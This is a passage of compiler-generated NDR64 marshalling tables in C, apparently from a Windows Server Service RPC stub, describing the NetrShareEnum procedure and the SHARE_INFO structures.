/* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag238_t __midl_frag238 =\n{ \n/* *SHARE_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag239\n};\n\nstatic const __midl_frag236_t __midl_frag236 =\n{ \n/* SHARE_ENUM_UNION */\n    { \n    /* SHARE_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag238,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag244,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag249,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag254,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag259,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag264,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag235_t __midl_frag235 =\n{ \n/* _SHARE_ENUM_STRUCT */\n    { \n    /* _SHARE_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag236\n        },\n        { \n        /* _SHARE_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag234_t __midl_frag234 =\n{ \n/* *_SHARE_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag235\n};\n\nstatic const __midl_frag231_t __midl_frag231 =\n{ \n/* NetrShareEnum */\n    { \n    /* NetrShareEnum */      /* procedure NetrShareEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag235,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag227_t __midl_frag227 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag224\n    }\n};\n\nstatic const __midl_frag225_t __midl_frag225 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 64 /* 0x40 */\n    }\n};\n\nstatic const __midl_frag224_t __midl_frag224 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag225\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    }\n};\n\nstatic const __midl_frag218_t __midl_frag218 =\n{ \n/* _SHARE_INFO_503_I */\n    { \n    /* _SHARE_INFO_503_I */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_503_I */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 80 /* 0x50 */,\n        0,\n        0,\n        &__midl_frag227,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    }\n};\n\nstatic const __midl_frag213_t __midl_frag213 =\n{ \n/* _SHARE_INFO_501 */\n    { \n    /* _SHARE_INFO_501 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_501 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag216,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* _SHARE_INFO_501 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag211_t __midl_frag211 =\n{ \n/* _SHARE_INFO_1005 */\n    { \n    /* _SHARE_INFO_1005 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _SHARE_INFO_1005 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag209_t __midl_frag209 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag741\n    }\n};\n\nstatic const __midl_frag205_t __midl_frag205 =\n{ \n/* _SHARE_INFO_1501_I */\n    { \n    /* _SHARE_INFO_1501_I */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_1501_I */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag209,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag200_t __midl_frag200 =\n{ \n/* _SHARE_INFO_1004 */\n    { \n    /* _SHARE_INFO_1004 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_1004 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag813\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag198_t __midl_frag198 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag195\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */\n    }\n};\n\nstatic const __midl_frag195_t __midl_frag195 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag196\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    }\n};\n\nstatic const __midl_frag190_t __midl_frag190 =\n{ \n/* _SHARE_INFO_502_I */\n    { \n    /* _SHARE_INFO_502_I */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_502_I */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        0,\n        0,\n        &__midl_frag198,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag188_t __midl_frag188 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 